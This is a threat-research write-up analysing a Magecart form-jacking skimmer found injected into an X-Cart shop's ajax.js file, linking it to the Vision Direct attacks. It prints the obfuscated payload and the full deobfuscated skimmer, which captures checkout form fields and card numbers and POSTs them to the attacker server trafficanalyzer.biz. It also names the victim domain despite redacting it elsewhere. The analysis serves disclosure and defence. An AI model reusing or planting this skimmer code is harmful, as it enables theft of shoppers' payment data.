Magecart Attackers Targeting Vision Direct are still Active

Tao Yan, Bo Qu, Zhanglin He

Introduction and background

[Magecart](#) attack, also named FormJacking, is a kind of attack which places credit card skimmers on compromised electrical commerce websites and steal sensitive information from users. Last year, Newegg, British Airways, Ticket Master and Vision Direct were all targeted by Magecart attack and more than 380,000 users' credit card information were leaked. RiskIQ published a detailed [report](#) in which they introduced Magecart threat groups and their attack characteristics. In Dec 2018 a known group named "[Magecart Group 11](#)" was linked to Vision Direct Magecart attack. There were 8 collection servers disclosed in whotracks.me's [report](#), we found that one of them(trafficanalyzer[.]biz) was still active as collection server targeting the other electrical website named f[redacted]s.

Attack chain

We found the website www[.]f[redacted]s[.]com used [x-cart](#) to build their online shopping system. However, the ajax javascript library in the website was injected a snippet of obfuscated javascript code with eval function as shown in Figure 1.

view-source:https://[redacted]s/js/ajax.js

```
/* vim: set ts=2 sw=2 sts=2 et: */
/**
 * X-Cart Ajax core library
 *
 * @category   X-Cart
 * @package    X-Cart
 * @subpackage JS Library
 * @author     Ruslan R. Fazlyev <rrf@x-cart.com>
 * @version    $Id: ajax.js,v 1.4 2010/07/26 12:21:16 igoryan Exp $
 * @link       http://www.x-cart.com/
 * @see        ____file_see____
 */

this['eval'](this['unescape']
('%76ar%20snd%20%3Dn%75ll%3B%0A%0Af%75nc%74ion%20s%74ar%74%28%29%7B%0A%20%20if%28%28n%65%77%20R%65gExp%28%27on%65pag%65ch%65cko%75%74%7Con%65s%74%65pc
75%74%7Con%65pag%65%7Cfir%65ch%65cko%75%74%7Csimpl%65ch%65cko%75%74%27%29%29%2E%74%65s%74%28%77indo%77%2Eloca%74ion%29%29%20%7B%0A%20%20%20%20%20%20%2
nd%28%29%3B%0A%20%20%20%20%20%20%20%0A%20%20%20%20%7D%0A%0A%7D%0Adoc%75m%65n%74%2EaddE%76%65n%74Lis%74%65n%65r%28%22DOMCon%74%65n%74Load%65d%22%2C%20s
%29%3B%0A%0Af%75nc%74ion%20clk%28%29%20%7B%0A%20%20%20%20%76ar%20inp%3Ddoc%75m%65n%74%2Eq%75%65ryS%65l%65c%74orAll%28%22inp%75%74%2C%20s%65l%65c%74%2C
5x%74ar%65a%2C%20ch%65ckbox%22%29%3B%0A%20%20%20%20for%20%28%76ar%20i%3D0%3Bi%3Cinp%2El%65ng%74h%3Bi%2B%2B%29%7B%0A%20%20%20%20%20%20%20%20if%28inp%5B
76al%75%65%2El%65ng%74h%3E0%29%20%7B%0A%20%20%20%20%20%20%20%20%76ar%20nm%65%3Dinp%5Bi%5D%2Eid%3B%0A%20%20%20%20%20%20%20%20if%28nm%65%3D%3D%27%27%29%
nm%65%3Di%3B%20%7D%0A%20%20%20%20%20%20%20%20snd%2B%3Dinp%5Bi%5D%2Eid%2B%27%3D%27%2Binp%5Bi%5D%2E%76al%75%65%2B%27%26%27%3B%0A%20%20%20%20%20%20%20%20
0%20%20%20%7D%0A%20%20%20%0A%7D%0A%0A%0Af%75nc%74ion%20s%65nd%28%29%20%7B%0A%20%76ar%20b%74n%3Ddoc%75m%65n%74%2Eq%75%65ryS%65l%65c%74orAll%28%22a%5Bhr
3D%27ja%76ascrip%74%3A%76oid%280%29%27%5D%2Cb%75%74%74on%2C%20inp%75%74%2C%20s%75bmi%74%2C%20%2Eb%74n%2C%20%2Eb%75%74%74on%22%29%3B%0A%20%20%20%20for%
ar%20i%3D0%3Bi%3Cb%74n%2El%65ng%74h%3Bi%2B%2B%29%7B%0A%20%20%20%20%20%20%20%20%76ar%20b%3Db%74n%5Bi%5D%3B%0A%20%20%20%20%20%20%20%20if%28b%2E%74yp%65%
%74%65x%74%27%20%26%26%20b%2E%74yp%65%21%3D%27sl%65c%74%27%20%26%26%20b%2E%74yp%65%21%3D%27ch%65ckbox%27%20%26%26%20b%2E%74yp%65%21%3D%27pass%77ord%27
6%20b%2E%74yp%65%21%3D%27radio%27%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20if%28b%2EaddE%76%65n%74Lis%74%65n%65r%29%20%7B%0A%20%20%20%20%20%20%2
20%20%20%20%20%20%20b%2EaddE%76%65n%74Lis%74%65n%65r%28%22click%22%2C%20clk%2C%20fals%65%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%65ls%65%20%7B
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20b%2Ea%74%74achE%76%65n%74%28%27onclick%27%2C%20clk%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20
0%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20%76ar%20frm%3Ddoc%75m%65n%74%2Eq%75%65ryS%65l%65c%74orAll%28%22form%22%29%3B%0A%20%20%20%20for%20%28%
%3D0%3Bi%3Cfrm%2El%65ng%74h%3Bi%2B%2B%29%7B%0A%20%20%20%20%20%20%20%20if%28frm%5Bi%5D%2EaddE%76%65n%74Lis%74%65n%65r%29%20%7B%0A%20%20%20%20%20%20%20%
%20%20frm%5Bi%5D%2EaddE%76%65n%74Lis%74%65n%65r%28%22s%75bmi%74%22%2C%20clk%2C%20fals%65%29%3B%0A%20%20%20%20%20%20%20%20%7D%65ls%65%20%7B%0A%20%20%20
0%20%20%20%20%20%20frm%5Bi%5D%2Ea%74%74achE%76%65n%74%28%27ons%75bmi%74%27%2C%20clk%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%
28snd%21%3Dn%75ll%29%20%7B%0A%20%20%20%20%20%20%20%20consol%65%2Ecl%65ar%28%29%3B%0A%09%76ar%20cc%20%3D%20n%65%77%20R%65gExp%28%22%5B0%2D9%5D%7B13%2C1
29%3B%0A%09%09%76ar%20asd%3D%220%22%3B%0A%20%20%20%20%20%20%20%20if%28cc%2E%74%65s%74%28snd%29%29%7B%0A%09%09%20%20asd%3D%221%22%20%3B%0A%09%20%20%20%7D%
20h%74%74p%20%3D%20n%65%77%20XMLH%74%74pR%65q%75%65s%74%28%29%3B%0Ah%74%74p%2Eop%65n%28%22POST%22%2C%22h%74%74ps%3A%2F%2F%74rafficanalyz%65r%2Ebiz%2Fl
75%65ry%2D1%2E9%2E1%2Emin%2Ephp%22%2C%74r%75%65%29%3B%0Ah%74%74p%2Es%65%74R%65q%75%65s%74H%65ad%65r%28%22Con%74%65n%74%2D%74yp%65%22%2C%22applica%74io
%77%77%77%2Dform%2D%75rl%65ncod%65d%22%29%3B%0Ah%74%74p%2Es%65nd%28%22da%74a%3D%22%2Bsnd%2B%22%26asd%3D%22%2Basd%2B%22%26id%5Fid%3Dfa%76orsandflo%77%6
m%22%29%3B%0Aconsol%65%2Ecl%65ar%28%29%3B%0A%20%20%20%20%7D%0A%20%20%20%20snd%3Dn%75ll%3B%0A%20%20%20%20s%65%74Tim%65o%75%74%28%27s%65nd%28%29%27%2C%2
3B%0A%7D%0A'));
```

Figure 1: injected javascript code with obfuscation

After deobfuscation by simply decoding unescape function, we can get the plain javascript code easily. First of all it adds an event listener for DOMContentLoaded event, once the DOMContentLoaded event triggered start function will be executed. In start function we can

see it will check if current page URL include some key words like onepage or checkout as shown in Figure 2.

```
function start()
{
    if((new RegExp('onepagecheckout|onestepcheckout|onepage|firecheckout|simplecheckout')).test(
    window.location))
    {
        send();
    }

}

document.addEventListener("DOMContentLoaded", start);
```

Figure 2: JS skimmer code snippet: addEventListener and start

Secondly, once the user come into the payment page, the send function will be called. The attackers add two kinds of event listeners as shown in Figure 3. The first type is for click event of some possible elements which may include user sensitive information such as button, input and submit. They also add some filters to filter some unexpected information like text, checkbox, radio and so on. To be mentioned here, there is type error in their code, they spelt select to “slect” and it will lead to filtering failure and send more information than they wanted. The second type is for submit event of all of form elements in which there are always sensitive information. This is why Magecart is also called formjacking.

```
function send()
{
    var btn=document.querySelectorAll("a[href*='javascript:void(0)'],button, input, submit, .btn, .button");
    for (var i=0;i<btn.length;i++)
    {
        var b=btn[i];
        if(b.type!='text' && b.type!='slect' && b.type!='checkbox' && b.type!='password' && b.type!='radio') {
            if(b.addEventListener)
            {
                b.addEventListener("click", clk, false);
            }else
            {
                b.attachEvent('onclick', clk);
            }
        }
    }

    var frm=document.querySelectorAll("form");
    for (var i=0;i<frm.length;i++){
        if(frm[i].addEventListener) {
            frm[i].addEventListener("submit", clk, false);
        }else {
            frm[i].attachEvent('onsubmit', clk);
        }
    }

    if(snd!=null)
    {
        console.clear();
        var cc = new RegExp("[0-9]{13,16}");
        var asd="0";
        if(cc.test(snd))
        {
            asd="1" ;
        }

        var http = new XMLHttpRequest();
        http.open("POST","https://trafficanalyzer.biz/lib/jquery-1.9.1.min.php",true);
        http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
        http.send("data="+snd+"&asd="+asd+"&id_id=favorsandflowers.com");
        console.clear();
    }
    snd=null;
    setTimeout('send()', 130);
}
```

Figure 3: JS skimmer code snippet: send function

The event listener function is clk as shown in Figure 4. The clk function will traverse all of input, select, textarea and checkbox elements and combine the id and value of those elements to snd global variable.

```
function clk()
{
    var inp=document.querySelectorAll("input, select, textarea, checkbox");
    for (var i=0;i<inp.length;i++)
    {
        if(inp[i].value.length>0)
        {
            var nme=inp[i].id;
            if(nme=='') { nme=i; }
            snd+=inp[i].id+'='+inp[i].value+'&';
        }
    }
}
```

Figure 4: JS skimmer code: clk function

Once snd is not empty, the attackers will check if snd includes numbers and then use XMLHttpRequest to send snd, numbers result and website to remote server as shown in Figure 3.

After the investigation for the collection server, we found the collection server trafficanalyzer[.]biz is also used in Vision Direct Magecart attacks last year.

Summary

Magecart aka FormJacking attacks aimed to steal user credit card information and can bring finical loss for electrical commerce users. Some of attackers are keeping active, security teams in electrical commerce sites should pay more attention to this kind of attack. PaloAlto networks also can protect our customers from it.

Appendix

Plain injected javascript source code

```
var snd =null;

function start()
{
   if((new
RegExp('onepagecheckout|onestepcheckout|onepage|firecheckout|simplecheckout')).test(
window.location))
   {
      send();
   }
}

document.addEventListener("DOMContentLoaded", start);

function clk()
{
   var inp=document.querySelectorAll("input, select, textarea, checkbox");
   for (var i=0;i<inp.length;i++)
   {
      if(inp[i].value.length>0)
      {
         var nme=inp[i].id;
         if(nme=='') { nme=i; }
         snd+=inp[i].id+'='+inp[i].value+'&';
      }
   }
}
```

```
function send()
{
   var btn=document.querySelectorAll("a[href*='javascript:void(0)'],button, input,
submit, .btn, .button");
   for (var i=0;i<btn.length;i++)
   {
      var b=btn[i];
      if(b.type!='text' && b.type!='slect' && b.type!='checkbox' && b.type!='password' &&
b.type!='radio') {
         if(b.addEventListener)
         {
            b.addEventListener("click", clk, false);
         }else
         {
            b.attachEvent('onclick', clk);
         }
      }
   }

   var frm=document.querySelectorAll("form");
   for (var i=0;i<frm.length;i++){
      if(frm[i].addEventListener) {
         frm[i].addEventListener("submit", clk, false);
      }else {
         frm[i].attachEvent('onsubmit', clk);
      }
   }

   if(snd!=null)
   {
      console.clear();
      var cc = new RegExp("[0-9]{13,16}");
      var asd="0";
      if(cc.test(snd))
      {
         asd="1" ;
      }

      var http = new XMLHttpRequest();
      http.open("POST","https://trafficanalyzer.biz/lib/jquery-1.9.1.min.php",true);
      http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
      http.send("data="+snd+"&asd="+asd+"&id_id=f[illegible]s.com");
      console.clear();
```

```
    }
    snd=null;
    setTimeout('send()', 130);
}
```